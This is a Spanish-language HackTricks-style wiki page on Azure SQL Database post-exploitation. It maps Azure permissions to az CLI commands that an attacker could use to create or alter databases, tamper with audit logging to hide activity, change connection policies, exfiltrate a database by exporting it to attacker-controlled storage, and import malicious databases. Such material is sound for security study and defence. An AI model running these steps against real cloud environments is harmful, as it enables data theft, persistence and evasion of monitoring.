4.9 KiB
Az - SQL Database Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
SQL Database Post Exploitation
Para más información sobre SQL Database consulta:
{{#ref}} ../az-services/az-sql.md {{#endref}}
"Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
Con estos permisos, un atacante puede crear y actualizar bases de datos dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de la base de datos o insertar puertas traseras para una mayor persistencia, potencialmente interrumpiendo operaciones o habilitando acciones maliciosas adicionales.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
"Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
Con estos permisos, un atacante puede crear y actualizar elasticPools dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de bases de datos o insertar puertas traseras para una mayor persistencia, lo que podría interrumpir las operaciones o habilitar acciones maliciosas adicionales.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
"Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
Con este permiso, puedes modificar o habilitar la configuración de auditoría en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado manipular las configuraciones de auditoría, potencialmente cubriendo sus huellas o redirigiendo los registros de auditoría a una ubicación bajo su control. Esto puede obstaculizar la monitorización de seguridad o permitir que se realice un seguimiento de las acciones. NOTA: Para habilitar la auditoría para un Azure SQL Server utilizando Blob Storage, debes adjuntar una cuenta de almacenamiento donde se puedan guardar los registros de auditoría.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
"Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
Con este permiso, puedes modificar las políticas de conexión de un Azure SQL Server. Esta capacidad puede ser explotada para habilitar o cambiar la configuración de conexión a nivel de servidor.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
"Microsoft.Sql/servers/databases/export/action"
Con este permiso, puedes exportar una base de datos de un Azure SQL Server a una cuenta de almacenamiento. Un atacante o usuario autorizado con este permiso puede exfiltrar datos sensibles de la base de datos exportándola a una ubicación que controlan, lo que representa un riesgo significativo de filtración de datos. Es importante conocer la clave de almacenamiento para poder realizar esto.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
"Microsoft.Sql/servers/databases/import/action"
Con este permiso, puedes importar una base de datos en un Azure SQL Server. Un atacante o usuario autorizado con este permiso puede potencialmente subir bases de datos maliciosas o manipuladas. Esto puede llevar a obtener control sobre datos sensibles o a incrustar scripts o triggers dañinos dentro de la base de datos importada. Adicionalmente, puedes importarlo a tu propio servidor en Azure. Nota: El servidor debe permitir que los servicios y recursos de Azure accedan al servidor.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
{{#include ../../../banners/hacktricks-training.md}}